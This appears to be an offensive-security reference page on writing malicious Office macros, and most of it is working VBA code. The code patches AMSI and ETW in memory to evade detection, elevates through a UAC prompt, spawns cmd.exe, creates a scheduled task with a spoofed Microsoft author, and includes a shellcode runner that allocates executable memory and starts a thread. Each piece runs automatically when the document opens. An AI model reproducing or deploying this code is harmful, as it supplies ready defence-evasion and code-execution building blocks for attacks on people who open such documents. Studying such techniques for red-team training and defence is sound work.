Why this topic matters
Programming Malicious Office Macros matters because it changes how an operator frames the problem, chooses validation steps and decides what evidence is strong enough to keep. In real work, weak handling of this topic leads to wasted time, noisy testing and softer findings.
This brief treats programming malicious office macros as a reusable field reference. The focus is on attack surface, decision points, practical workflow and the public material that is worth keeping nearby when you need to execute, verify or explain the subject under pressure.
Core coverage
The points below capture the main workflows, concepts, tools and operator decisions associated with programming malicious office macros.
- Offensive office macro concepts
- Introduction
- Display the current username through a win32 message box
- Macro
- Spawn an elevated notepad process through vba and uac interaction
- Amsi bypass through win32 API calls
- Disable etw through win32 API calls
- Spawn cmd.exe with win32 API calls (createprocess)
- Spawn cmd.exe with shell32 calls (shellexecute)
- Custom shellcode runner via win32 API
Commands and snippets
BOOL GetUserNameA(
LPSTR lpBuffer,
LPDWORD pcbBuffer
)
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
Function MyMacro()
Dim res As Long
Dim MyBuff As String * 256
Dim MySize As Long
Dim strlen As Long
MySize = 256
res = GetUserName(MyBuff, MySize)
strlen = InStr(1, MyBuff, vbNullChar) - 1
MsgBox Left$(MyBuff, strlen)
End FunctionFunction MyMacro()
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "notepad.exe", "", "", "runas", 1
End Function
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End SubPrivate Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
Sub AutoOpen()
Dim AmsiDLL As LongPtr
Dim AmsiScanBufferAddr As LongPtr
Dim result As Long
Dim ArrayPointer As LongPtr
#If Win64 Then
Dim MyByteArray(6) As Byte
MyByteArray(0) = 184 ' 0xB8
MyByteArray(1) = 87 ' 0x57
MyByteArray(2) = 0 ' 0x00
MyByteArray(3) = 7 ' 0x07
MyByteArray(4) = 128 ' 0x80
MyByteArray(5) = 195 ' 0xC3
#Else
Dim MyByteArray(8) As Byte
MyByteArray(0) = 184 ' 0xB8
MyByteArray(1) = 87 ' 0x57
MyByteArray(2) = 0 ' 0x00
MyByteArray(3) = 7 ' 0x07
MyByteArray(4) = 128 ' 0x80
MyByteArray(5) = 194 ' 0xC2
MyByteArray(6) = 24 ' 0x18
MyByteArray(7) = 0 ' 0x00
#End If
AmsiDLL = LoadLibrary("amsi.dll")
AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
#If Win64 Then
result = VirtualProtect(ByVal AmsiScanBufferAddr, 6, 64, 0)
ArrayPointer = VarPtr(MyByteArray(0))
CopyMem ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
#Else
result = VirtualProtect(ByVal AmsiScanBufferAddr, 8, 64, 0)
ArrayPointer = VarPtr(MyByteArray(0))
CopyMem ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 8
#End If
End SubPrivate Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
Sub AutoOpen()
Dim ntdllDLL As LongPtr
Dim EtwEventWriteAddr As LongPtr
Dim result As Long
Dim ArrayPointer As LongPtr
#If Win64 Then
Dim MyByteArray(1) As Byte
MyByteArray(0) = 195 ' 0xC3
#Else
Dim MyByteArray(4) As Byte
MyByteArray(0) = 194 ' 0xC2
MyByteArray(1) = 20 ' 0x14
MyByteArray(2) = 0 ' 0x00
MyByteArray(3) = 0 ' 0x00
#End If
ntdllDLL = LoadLibrary("ntdll.dll")
EtwEventWriteAddr = GetProcAddress(ntdllDLL, "EtwEventWrite")
#If Win64 Then
result = VirtualProtect(ByVal EtwEventWriteAddr, 1, 64, 0)
ArrayPointer = VarPtr(MyByteArray(0))
CopyMemory ByVal EtwEventWriteAddr, ByVal ArrayPointer, 1
#Else
result = VirtualProtect(ByVal EtwEventWriteAddr, 4, 64, 0)
ArrayPointer = VarPtr(MyByteArray(0))
CopyMemory ByVal EtwEventWriteAddr, ByVal ArrayPointer, 4
#End If
End SubOption Explicit
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Const CREATE_NEW_CONSOLE = &H10
Private Const CREATE_SUSPENDED = &H4
Private Const DEBUG_ONLY_THIS_PROCESS = &H2
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByRef lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Sub AutoOpen()
Dim secAttrPrc As SECURITY_ATTRIBUTES: secAttrPrc.nLength = Len(secAttrPrc)
Dim secAttrThr As SECURITY_ATTRIBUTES: secAttrThr.nLength = Len(secAttrThr)
Dim startInfo As STARTUPINFO
Dim procInfo As PROCESS_INFORMATION
If CreateProcess( _
lpApplicationName:=vbNullString, _
lpCommandLine:="cmd.exe", _
lpProcessAttributes:=secAttrPrc, _
lpThreadAttributes:=secAttrThr, _
bInheritHandles:=False, _
dwCreationFlags:=0, _
lpEnvironment:=0, _
lpCurrentDirectory:=Environ("USERPROFILE"), _
lpStartupInfo:=startInfo, _
lpProcessInformation:=procInfo) Then
Else
MsgBox "Couldnt create process"
End If
End SubOption Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" ( _
ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
ByVal lpParameters As String, _
ByVal lpDirectory As String, _
ByVal lpShowCmd As Long) As Long
Sub AutoOpen()
Call ShellExecute(0, "Open", "calc.exe", "", "", 1)
End SubSub AutoOpen()
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Microsoft Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\calc.exe"
Call service.GetFolder("\").RegisterTaskDefinition("UpdateTask", td, 6, , , 3)
End SubPrivate Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
buf = Array()
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End SubCurated public references
- pwntools Documentationdocs.pwntools.com/en/stable/
- gef-legacy.readthedocs.io ยท Latestgef-legacy.readthedocs.io/en/latest/
- pwndbgpwndbg.re/
- Shell-Stormshell-storm.org/
- Exploit Databaseexploit-db.com/
